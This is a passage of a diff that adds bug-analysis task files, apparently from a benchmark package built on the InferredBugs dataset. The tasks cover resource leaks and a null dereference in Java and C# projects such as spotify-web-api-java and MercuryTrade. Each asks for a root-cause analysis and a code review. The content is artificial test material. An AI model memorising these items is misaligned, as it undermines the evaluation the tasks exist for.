+                      </Target>
+                      <Import Project='packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets' Condition=""Exists('packages\Microsoft.CodeCoverage.15.9.0\build\netstandard1.0\Microsoft.CodeCoverage.targets')"" />
+                      <Import Project='packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets' Condition=""Exists('packages\Microsoft.NET.Test.Sdk.15.9.0\build\net45\Microsoft.Net.Test.Sdk.targets')"" />
+                    </Project>");
+
+            AddPackagesConfig(workspace);
+            AddTestsVb(workspace);
+
+            workspace.NuGetRestore(packagesDirectory: "packages");
+
+            workspace.MSBuild();
+
+            workspace.VSTest(new[] { @"bin\Debug\Test.dll" })
+                .AssertSinglePassingTest();
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource (returned from NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace NUnit.VisualStudio.TestAdapter.Tests.Acceptance.AcceptanceTests::CreateWorkspace() at Line 98) of type NUnit.VisualStudio.TestAdapter.Tests.Acceptance.WorkspaceTools.IsolatedWorkspace in method "Void SinglePassingTestResultTests.Single_target_vbproj(String)".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void SinglePassingTestResultTests.Single_target_vbproj(String)
+
+### File:
+src/NUnit.TestAdapter.Tests.Acceptance/SinglePassingTestResultTests.cs
+
+### Key:
+SinglePassingTestResultTests.cs|Single_target_vbproj|DOTNET_RESOURCE_LEAK
+
+### Hash:
+09c6295b71cdc82320cf653c6e6d0b34
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10210/instruction.md b/inferredbugs-10210/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..c08a86da2afaa0c249a305a445a4580e0d493189
--- /dev/null
+++ b/inferredbugs-10210/instruction.md
@@ -0,0 +1,191 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spotify-web-api-java
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.wrapper.spotify.methods;
+
+import com.google.common.util.concurrent.FutureCallback;
+import com.google.common.util.concurrent.Futures;
+import com.google.common.util.concurrent.SettableFuture;
+import com.wrapper.spotify.Api;
+import com.wrapper.spotify.TestUtil;
+import com.wrapper.spotify.models.Paging;
+import com.wrapper.spotify.models.PlaylistSimplified;
+import com.wrapper.spotify.models.ObjectType;
+import org.junit.Test;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import static junit.framework.TestCase.*;
+
+public class UserPlaylistsRequestTest {
+
+  @Test
+  public void shouldGetPlaylistsForUser_async() throws Exception {
+    final String accessToken = "someAccessToken";
+    final Api api = Api.builder().build();
+
+    final UserPlaylistsRequest request = api
+            .getPlaylistsForUser("wizzler")
+            .accessToken(accessToken)
+            .limit(10)
+            .offset(2)
+            .httpManager(TestUtil.MockedHttpManager.returningJson("user-playlists.json"))
+            .build();
+
+    final CountDownLatch asyncCompleted = new CountDownLatch(1);
+
+    final SettableFuture<Paging<PlaylistSimplified>> playlistsPageFuture = request.getAsync();
+
+    Futures.addCallback(playlistsPageFuture, new FutureCallback<Paging<PlaylistSimplified>>() {
+      @Override
+      public void onSuccess(Paging<PlaylistSimplified> playlistsPage) {
+        assertTrue(playlistsPage.getTotal() >= 0);
+        assertNull(playlistsPage.getNext());
+        assertEquals("https://api.spotify.com/v1/users/wizzler/playlists?offset=0&limit=10", playlistsPage.getPrevious());
+        assertEquals(10, playlistsPage.getLimit());
+        assertEquals(2, playlistsPage.getOffset());
+        assertEquals("https://api.spotify.com/v1/users/wizzler/playlists?offset=2&limit=10", playlistsPage.getHref());
+
+        final PlaylistSimplified simplePlaylist = playlistsPage.getItems().get(0);
+        final String playlistId = simplePlaylist.getId();
+        assertNotNull(playlistId);
+        assertTrue(playlistId.length() > 0);
+        assertEquals(false, simplePlaylist.getIsCollaborative());
+        assertEquals("http://open.spotify.com/user/wizzler/playlist/" + playlistId, simplePlaylist.getExternalUrls().get("spotify"));
+        assertNotNull(simplePlaylist.getName());
+        assertNotNull(simplePlaylist.getOwner());
+        assertNotNull(simplePlaylist.getIsPublicAccess());
+        assertNotNull(simplePlaylist.getTracks().getHref());
+        assertNotNull(simplePlaylist.getTracks().getTotal());
+        assertEquals(ObjectType.PLAYLIST, simplePlaylist.getType());
+        assertEquals("spotify:user:wizzler:playlist:" + playlistId, simplePlaylist.getUri());
+        assertEquals(1, simplePlaylist.getImages().size());
+        assertEquals("https://i.scdn.co/image/418ce596327dc3a0f4d377db80421bffb3b94a9a", simplePlaylist.getImages().get(0).getUrl());
+        assertNull(simplePlaylist.getImages().get(0).getWidth());
+        assertNull(simplePlaylist.getImages().get(0).getHeight());
+
+        asyncCompleted.countDown();
+      }
+
+      @Override
+      public void onFailure(Throwable throwable) {
+        fail("Failed to resolve future" + throwable.getMessage());
+      }
+
+    });
+
+    asyncCompleted.await(1, TimeUnit.SECONDS);
+  }
+
+  @Test
+  public void shouldGetPlaylistsForUser_sync() throws Exception {
+    final String accessToken = "myVeryLongAccessToken";
+    final Api api = Api.builder().build();
+
+    final UserPlaylistsRequest request = api
+            .getPlaylistsForUser("wizzler")
+            .accessToken(accessToken)
+            .httpManager(TestUtil.MockedHttpManager.returningJson("user-playlists.json"))
+            .build();
+
+    final Paging<PlaylistSimplified> playlistsPage = request.get();
+
+    assertTrue(playlistsPage.getTotal() >= 0);
+    assertNull(playlistsPage.getNext());
+    assertEquals("https://api.spotify.com/v1/users/wizzler/playlists?offset=0&limit=10", playlistsPage.getPrevious());
+    assertEquals(10, playlistsPage.getLimit());
+    assertEquals(2, playlistsPage.getOffset());
+    assertEquals("https://api.spotify.com/v1/users/wizzler/playlists?offset=2&limit=10", playlistsPage.getHref());
+
+    final PlaylistSimplified simplePlaylist = playlistsPage.getItems().get(0);
+    final String playlistId = simplePlaylist.getId();
+    assertNotNull(playlistId);
+    assertTrue(playlistId.length() > 0);
+    assertEquals(false, simplePlaylist.getIsCollaborative());
+    assertEquals("http://open.spotify.com/user/wizzler/playlist/" + playlistId, simplePlaylist.getExternalUrls().get("spotify"));
+    assertNotNull(simplePlaylist.getName());
+    assertNotNull(simplePlaylist.getOwner());
+    assertNotNull(simplePlaylist.getIsPublicAccess());
+    assertNotNull(simplePlaylist.getTracks().getHref());
+    assertNotNull(simplePlaylist.getTracks().getTotal());
+    assertEquals(ObjectType.PLAYLIST, simplePlaylist.getType());
+    assertEquals("spotify:user:wizzler:playlist:" + playlistId, simplePlaylist.getUri());
+    assertEquals(1, simplePlaylist.getImages().size());
+    assertEquals("https://i.scdn.co/image/418ce596327dc3a0f4d377db80421bffb3b94a9a", simplePlaylist.getImages().get(0).getUrl());
+    assertNull(simplePlaylist.getImages().get(0).getWidth());
+    assertNull(simplePlaylist.getImages().get(0).getHeight());
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.http.impl.conn.PoolingHttpClientConnectionManager` acquired by call to `build()` at line 23 is not released after line 30.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UserPlaylistsRequestTest.shouldGetPlaylistsForUser_async()
+
+### Procedure Id:
+com.wrapper.spotify.methods.UserPlaylistsRequestTest.shouldGetPlaylistsForUser_async():void.ae2f1315e6dac089fc6c4a389b9794df
+
+### File:
+src/test/java/com/wrapper/spotify/methods/UserPlaylistsRequestTest.java
+
+### Key:
+UserPlaylistsRequestTest.java|shouldGetPlaylistsForUser_async|RESOURCE_LEAK
+
+### Node Key:
+2ba02c4d07e9feaac1a9c9d9aaf92f48
+
+### Hash:
+fe4f3648758f10ece489874deb39939d
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10211/instruction.md b/inferredbugs-10211/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..498f710a5b07eba35fa3cb3bae95b13ec527a50e
--- /dev/null
+++ b/inferredbugs-10211/instruction.md
@@ -0,0 +1,132 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** spotify-web-api-java
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.wrapper.spotify;
+
+import com.wrapper.spotify.exceptions.WebApiException;
+
+import java.io.File;
+import java.io.FileReader;
+import java.io.IOException;
+import java.io.Reader;
+import java.nio.CharBuffer;
+
+import static org.mockito.Matchers.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+public class TestUtil {
+
+  private static final String TEST_DATA_DIR = "src/test/fixtures/";
+
+  private static final int MAX_TEST_DATA_FILE_SIZE = 65536;
+
+  public static String readTestData(String fileName) throws IOException {
+    return readFromFile(new File(TEST_DATA_DIR, fileName));
+  }
+
+  private static String readFromFile(File file) throws IOException {
+    Reader reader = new FileReader(file);
+    CharBuffer charBuffer = CharBuffer.allocate(MAX_TEST_DATA_FILE_SIZE);
+    reader.read(charBuffer);
+    charBuffer.position(0);
+    return charBuffer.toString();
+  }
+
+  public static class MockedHttpManager {
+
+    public static HttpManager returningJson(String jsonFixture) throws Exception {
+      // Mocked HTTP Manager to get predictable responses
+      final HttpManager mockedHttpManager = mock(HttpManager.class);
+      final String fixture = readTestData(jsonFixture);
+      when(mockedHttpManager.get((UtilProtos.Url) any())).thenReturn(fixture);
+      when(mockedHttpManager.post((UtilProtos.Url) any())).thenReturn(fixture);
+      when(mockedHttpManager.put((UtilProtos.Url) any())).thenReturn(fixture);
+      when(mockedHttpManager.delete((UtilProtos.Url) any())).thenReturn(fixture);
+
+      return mockedHttpManager;
+    }
+
+    public static HttpManager returningString(String returnedString) throws IOException, WebApiException {
+      final HttpManager mockedHttpManager = mock(HttpManager.class);
+      when(mockedHttpManager.get((UtilProtos.Url) any())).thenReturn(returnedString);
+      when(mockedHttpManager.post((UtilProtos.Url) any())).thenReturn(returnedString);
+      when(mockedHttpManager.put((UtilProtos.Url) any())).thenReturn(returnedString);
+      when(mockedHttpManager.delete((UtilProtos.Url) any())).thenReturn(returnedString);
+
+      return mockedHttpManager;
+    }
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileReader` acquired by call to `new()` at line 26 is not released after line 28.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+String TestUtil.readFromFile(File)
+
+### Procedure Id:
+com.wrapper.spotify.TestUtil.readFromFile(java.io.File):java.lang.String.ac12618286f6aeefbcc03322466069cf
+
+### File:
+src/test/java/com/wrapper/spotify/TestUtil.java
+
+### Key:
+TestUtil.java|readFromFile|RESOURCE_LEAK
+
+### Node Key:
+c8378f07bc7517fb0817a34558e677de
+
+### Hash:
+ae476d9990b42e5a3730e343ee9ff6ff
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10216/instruction.md b/inferredbugs-10216/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d9b795521e23c790054ee07c32c3459417708163
--- /dev/null
+++ b/inferredbugs-10216/instruction.md
@@ -0,0 +1,364 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MercuryTrade
+**Bug ID:** 3
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.mercury.platform.ui.frame.impl;
+
+import com.mercury.platform.shared.events.EventRouter;
+import com.mercury.platform.shared.events.custom.*;
+import com.mercury.platform.ui.components.fields.font.FontStyle;
+import com.mercury.platform.ui.components.fields.font.TextAlignment;
+import com.mercury.platform.ui.frame.MovableComponentFrame;
+import com.mercury.platform.ui.frame.impl.util.TradeMode;
+import com.mercury.platform.ui.manager.FramesManager;
+import com.mercury.platform.ui.misc.AppThemeColor;
+import com.mercury.platform.ui.misc.TooltipConstants;
+import org.apache.commons.lang3.StringUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.pushingpixels.trident.Timeline;
+import org.pushingpixels.trident.ease.Spline;
+
+import javax.swing.*;
+import java.awt.*;
+import java.awt.event.*;
+
+/**
+ * Exslims
+ * 07.12.2016
+ */
+public class TaskBarFrame extends MovableComponentFrame{
+    private final Logger logger = LogManager.getLogger(TaskBarFrame.class.getSimpleName());
+    private final String LOCAL_UPDATER_PATH = System.getenv("USERPROFILE") + "\\AppData\\Local\\MercuryTrade\\local-updater.jar";
+
+    private boolean updateReady = false;
+
+    private Timeline collapseAnim;
+    private JPanel updatePanel;
+
+    public TaskBarFrame() {
+        super("MT-TaskBar");
+    }
+
+    @Override
+    protected void initialize() {
+        super.initialize();
+        processSEResize = false;
+        updatePanel = getUpdatePanel();
+        updatePanel.setVisible(false);
+        add(getTaskBarPanel(), BorderLayout.CENTER);
+        add(updatePanel, BorderLayout.PAGE_START);
+        pack();
+
+        this.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseEntered(MouseEvent e) {
+                TaskBarFrame.this.repaint();
+                if(!EResizeSpace) {
+                    if (collapseAnim != null) {
+                        collapseAnim.abort();
+                    }
+                    initCollapseAnimations("expand");
+                    collapseAnim.play();
+                }
+            }
+
+            @Override
+            public void mouseExited(MouseEvent e) {
+                TaskBarFrame.this.repaint();
+                if(isVisible() && !withInPanel((JPanel)TaskBarFrame.this.getContentPane()) && !EResizeSpace) {
+                    if (collapseAnim != null) {
+                        collapseAnim.abort();
+                    }
+                    initCollapseAnimations("collapse");
+                    collapseAnim.play();
+                }
+            }
+        });
+
+        EventRouter.INSTANCE.fireEvent(new UILoadedEvent());
+    }
+
+    @Override
+    protected LayoutManager getFrameLayout() {
+        return new BorderLayout();
+    }
+
+    private JPanel getUpdatePanel(){
+        JPanel panel = componentsFactory.getTransparentPanel();
+        panel.setLayout(new BoxLayout(panel,BoxLayout.X_AXIS));
+        panel.setBorder(BorderFactory.createEmptyBorder(3,0,0,0));
+
+        JLabel label = componentsFactory.getTextLabel(FontStyle.BOLD,AppThemeColor.TEXT_DEFAULT,TextAlignment.LEFTOP,16f,"Update is ready, please ");
+        JLabel restartLabel = componentsFactory.getTextLabel(FontStyle.BOLD,AppThemeColor.TEXT_IMPORTANT,TextAlignment.LEFTOP,16f,"Restart");
+        restartLabel.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseEntered(MouseEvent e) {
+                setCursor(new Cursor(Cursor.HAND_CURSOR));
+            }
+
+            @Override
+            public void mouseExited(MouseEvent e) {
+                setCursor(new Cursor(Cursor.DEFAULT_CURSOR));
+            }
+
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                doUpdate();
+            }
+        });
+        restartLabel.setBorder(BorderFactory.createCompoundBorder(
+                BorderFactory.createLineBorder(AppThemeColor.TEXT_IMPORTANT),
+                BorderFactory.createEmptyBorder(2,2,2,2)
+        ));
+        label.setBorder(BorderFactory.createEmptyBorder(2,2,2,2));
+        panel.add(label);
+        panel.add(restartLabel);
+        return panel;
+    }
+    private void doUpdate(){
+        try {
+            String path = StringUtils.substringAfter(this.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().getPath(), "/");
+            logger.debug("Execute local updater, source path: {}",path);
+            Runtime.getRuntime().exec("java -jar " + LOCAL_UPDATER_PATH + " " + "\"" + path + "\"");
+            System.exit(0);
+        } catch (Exception e1) {
+            logger.error("Error while execute local-updater: ", e1);
+        }
+    }
+
+    private JPanel getTaskBarPanel(){
+        JPanel taskBarPanel = new JPanel();
+        taskBarPanel.setBackground(AppThemeColor.TRANSPARENT);
+        taskBarPanel.setLayout(new BoxLayout(taskBarPanel,BoxLayout.X_AXIS));
+
+        JButton visibleMode = componentsFactory.getIconButton("app/visible-always-mode.png",24,AppThemeColor.FRAME_1, TooltipConstants.VISIBLE_MODE);
+        visibleMode.addMouseListener(new MouseAdapter() {
+            private boolean dnd = false;
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                if (!dnd) {
+                    visibleMode.setIcon(componentsFactory.getIcon("app/visible-dnd-mode.png", 24));
+                    dnd = true;
+                    TaskBarFrame.this.repaint();
+                    EventRouter.INSTANCE.fireEvent(new NotificationEvent("DND on"));
+                    EventRouter.INSTANCE.fireEvent(new DndModeEvent(true));
+                } else {
+                    dnd = false;
+                    visibleMode.setIcon(componentsFactory.getIcon("app/visible-always-mode.png", 24));
+                    TaskBarFrame.this.repaint();
+                    EventRouter.INSTANCE.fireEvent(new NotificationEvent("DND off"));
+                    EventRouter.INSTANCE.fireEvent(new DndModeEvent(false));
+                }
+            }
+        });
+
+        JButton chatMode = componentsFactory.getIconButton("app/standard-mode.png",24,AppThemeColor.FRAME_1,TooltipConstants.TRADE_MODE);
+        chatMode.addMouseListener(new MouseAdapter() {
+            private TradeMode currentMode = TradeMode.DEFAULT;
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                if(currentMode.equals(TradeMode.DEFAULT)){
+                    chatMode.setIcon(componentsFactory.getIcon("app/supertrade-mode.png",24));
+                    currentMode = TradeMode.SUPER;
+                    TaskBarFrame.this.repaint();
+                    EventRouter.INSTANCE.fireEvent(new NotificationEvent("SuperTrade mode ON"));
+                    EventRouter.INSTANCE.fireEvent(new ChangedTradeModeEvent.ToSuperTradeModeEvent());
+                }else {
+                    currentMode = TradeMode.DEFAULT;
+                    chatMode.setIcon(componentsFactory.getIcon("app/standard-mode.png",24));
+                    TaskBarFrame.this.repaint();
+                    EventRouter.INSTANCE.fireEvent(new NotificationEvent("SuperTrade mode OFF"));
+                    EventRouter.INSTANCE.fireEvent(new ChangedTradeModeEvent.ToDefaultTradeModeEvent());
+                }
+            }
+        });
+
+        JButton chatFilter = componentsFactory.getIconButton("app/chat-filter.png",24,AppThemeColor.FRAME_1,TooltipConstants.CHAT_FILTER);
+        chatFilter.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mousePressed(MouseEvent e) {
+                FramesManager.INSTANCE.hideOrShowFrame(ChatFilterFrame.class);
+            }
+        });
+        //todo in feature
+//        JButton timer = componentsFactory.getIconButton("app/timer.png",24,AppThemeColor.FRAME_1,TooltipConstants.TIMER);
+//        timer.addMouseListener(new MouseAdapter() {
+//            @Override
+//            public void mouseClicked(MouseEvent e) {
+//                FramesManager.INSTANCE.hideOrShowFrame(TimerFrame.class);
+//            }
+//        });
+
+        JButton historyButton = componentsFactory.getIconButton("app/history.png",24,AppThemeColor.FRAME_1,TooltipConstants.HISTORY);
+        historyButton.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                FramesManager.INSTANCE.hideOrShowFrame(HistoryFrame.class);
+            }
+        });
+
+        JButton moveButton = componentsFactory.getIconButton("app/drag_and_drop.png", 24,AppThemeColor.FRAME_1,TooltipConstants.SETUP_FRAMES_LOCATION);
+        moveButton.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                FramesManager.INSTANCE.enableMovement();
+            }
+        });
+
+        JButton settingsButton = componentsFactory.getIconButton("app/settings.png", 26,AppThemeColor.FRAME_1,TooltipConstants.SETTINGS);
+        settingsButton.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                FramesManager.INSTANCE.hideOrShowFrame(SettingsFrame.class);
+            }
+        });
+
+        JButton exitButton = componentsFactory.getIconButton("app/exit.png", 24,AppThemeColor.FRAME_1,"");
+        exitButton.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                if(updateReady){
+                    doUpdate();
+                }else {
+                    System.exit(0);
+                }
+            }
+        });
+
+        taskBarPanel.add(visibleMode);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(2, 4)));
+        taskBarPanel.add(chatMode);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        taskBarPanel.add(chatFilter);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        taskBarPanel.add(historyButton);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        taskBarPanel.add(moveButton);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        taskBarPanel.add(settingsButton);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        taskBarPanel.add(exitButton);
+        taskBarPanel.add(Box.createRigidArea(new Dimension(3, 4)));
+        return taskBarPanel;
+    }
+
+    @Override
+    public void initHandlers() {
+        EventRouter.INSTANCE.registerHandler(RepaintEvent.RepaintTaskBar.class, event -> {
+            TaskBarFrame.this.revalidate();
+            TaskBarFrame.this.repaint();
+        });
+        EventRouter.INSTANCE.registerHandler(UpdateReadyEvent.class,event -> {
+            updatePanel.setVisible(true);
+            updateReady = true;
+            pack();
+        });
+    }
+    private void initCollapseAnimations(String state){
+        collapseAnim = new Timeline(this);
+        switch (state){
+            case "expand":{
+                collapseAnim.addPropertyToInterpolate("width",this.getWidth(),250);
+                break;
+            }
+            case "collapse":{
+                collapseAnim.addPropertyToInterpolate("width",this.getWidth(),configManager.getFrameSettings(this.getClass().getSimpleName()).getFrameSize().width);
+            }
+        }
+        collapseAnim.setEase(new Spline(1f));
+        collapseAnim.setDuration(300);
+    }
+    private boolean withInPanel(JPanel panel){
+        return new Rectangle(panel.getLocationOnScreen(),panel.getSize()).contains(MouseInfo.getPointerInfo().getLocation());
+    }
+
+    /**
+     * For 'trident' property animations
+     * @param width next width
+     */
+    public void setWidth(int width){
+        this.setSize(new Dimension(width,this.getHeight()));
+    }
+
+    @Override
+    protected JPanel panelWhenMove() {
+        JPanel panel = componentsFactory.getTransparentPanel();
+        panel.setLayout(new BoxLayout(panel,BoxLayout.Y_AXIS));
+        JPanel labelPanel = componentsFactory.getTransparentPanel(new FlowLayout(FlowLayout.CENTER));
+        labelPanel.add(componentsFactory.getTextLabel(FontStyle.BOLD,AppThemeColor.TEXT_MESSAGE, TextAlignment.LEFTOP,20f,"Task Bar"));
+        panel.add(labelPanel);
+
+        return panel;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `OverlaidFrame.configManager.getFrameSettings(getClass().getSimpleName())` could be null and is dereferenced at line 262.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void TaskBarFrame.initCollapseAnimations(String)
+
+### Procedure Id:
+com.mercury.platform.ui.frame.impl.TaskBarFrame.initCollapseAnimations(java.lang.String):void.508800182c0701287f97654f5547ec0c
+
+### File:
+app-ui/src/main/java/com/mercury/platform/ui/frame/impl/TaskBarFrame.java
+
+### Key:
+TaskBarFrame.java|initCollapseAnimations|NULL_DEREFERENCE
+
+### Node Key:
+2a20cac300e37d62dcc25fd73609c68e
+
+### Hash:
+e84545281942a85de8d4021687d7a40a
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10217/instruction.md b/inferredbugs-10217/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..d1cb5ab98630c7bd4fc23ccee7de2b6fb885c02f
--- /dev/null
+++ b/inferredbugs-10217/instruction.md
@@ -0,0 +1,321 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** MercuryTrade
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.mercury.platform.shared;
+
+import org.apache.log4j.Logger;
+import org.json.simple.JSONArray;
+import org.json.simple.JSONObject;
+import org.json.simple.parser.JSONParser;
+
+import javax.swing.*;
+import java.awt.*;
+import java.awt.event.ActionEvent;
+import java.awt.event.ActionListener;
+import java.io.*;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * Application config manager, loads config files from %userprofile%/AppData/Local/MercuryTrader.
+ */
+public class ConfigManager {
+    private Logger logger = Logger.getLogger(ConfigManager.class);
+
+    private static class ConfigManagerHolder {
+        static final ConfigManager HOLDER_INSTANCE = new ConfigManager();
+    }
+
+    public static ConfigManager INSTANCE = ConfigManagerHolder.HOLDER_INSTANCE;
+
+    private final String CONFIG_FILE_PATH = System.getenv("USERPROFILE") + "\\AppData\\Local\\MercuryTrader";
+    private final String CONFIG_FILE = System.getenv("USERPROFILE") + "\\AppData\\Local\\MercuryTrader\\app-config.json";
+    private Map<String, Object> properties = new HashMap<>();
+    private Map<String, Timer> componentsTimers = new HashMap<>();
+    private Map<String, PointListener> componentsPointListeners = new HashMap<>();
+
+    private ConfigManager() {
+        load();
+    }
+
+    /**
+     * Loading application data from app-config.json file. If file does not exist, created and filled by default.
+     */
+    private void load() {
+        File configFile = new File(CONFIG_FILE);
+        if (!configFile.exists()) {
+            try {
+                new File(CONFIG_FILE_PATH).mkdir();
+                FileWriter fileWriter = new FileWriter(CONFIG_FILE);
+                fileWriter.write(new JSONObject().toJSONString());
+                fileWriter.flush();
+                fileWriter.close();
+
+                saveButtonsConfig(getDefaultButtons());
+                Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();
+                double width = screenSize.getWidth();
+                double height = screenSize.getHeight();
+                saveComponentLocation("TaskBarFrame", new Point(500, 500));
+                saveComponentLocation("MessageFrame", new Point(700, 500));
+                saveComponentLocation("GamePathChooser", new Point(600, 500));
+                saveComponentLocation("TestCasesFrame", new Point(900, 500));
+                saveComponentLocation("SettingsFrame", new Point(600, 600));
+                saveComponentLocation("HistoryFrame", new Point(600, 600));
+                saveComponentLocation("NotificationFrame", new Point((int) width / 2, (int) height / 2));
+            } catch (IOException e) {
+                logger.error(e);
+            }
+        } else {
+            JSONParser parser = new JSONParser();
+            try {
+                Object obj = parser.parse(new FileReader(CONFIG_FILE));
+                JSONObject jsonObject = (JSONObject) obj;
+                String gamePath = (String) jsonObject.get("gamePath");
+
+                JSONArray buttons = (JSONArray) jsonObject.get("buttons");
+                Map<String, String> buttonsConfig = new HashMap<>();
+                if (buttons != null) {
+                    for (JSONObject next : (Iterable<JSONObject>) buttons) {
+                        buttonsConfig.put((String) next.get("title"), (String) next.get("value"));
+                    }
+                } else {
+                    buttonsConfig = getDefaultButtons();
+                }
+                JSONObject taskBarLocation = (JSONObject) jsonObject.get("TaskBarFrame");
+                Point taskBarPoint = new Point(
+                        Integer.valueOf(String.valueOf(taskBarLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(taskBarLocation.get("y"))));
+
+                JSONObject messageLocation = (JSONObject) jsonObject.get("MessageFrame");
+                Point messagePoint = new Point(
+                        Integer.valueOf(String.valueOf(messageLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(messageLocation.get("y"))));
+                JSONObject gamePathLocation = (JSONObject) jsonObject.get("GamePathChooser");
+                Point gamePathPoint = new Point(
+                        Integer.valueOf(String.valueOf(gamePathLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(gamePathLocation.get("y"))));
+                JSONObject settingsLocation = (JSONObject) jsonObject.get("SettingsFrame");
+                Point settingsPoint = new Point(
+                        Integer.valueOf(String.valueOf(settingsLocation.get("x"))),
+                        Integer.valueOf(String.valueOf(settingsLocation.get("y"))));
+                JSONObject historyLocation = (JSONObject) jsonObject.get("HistoryFrame");
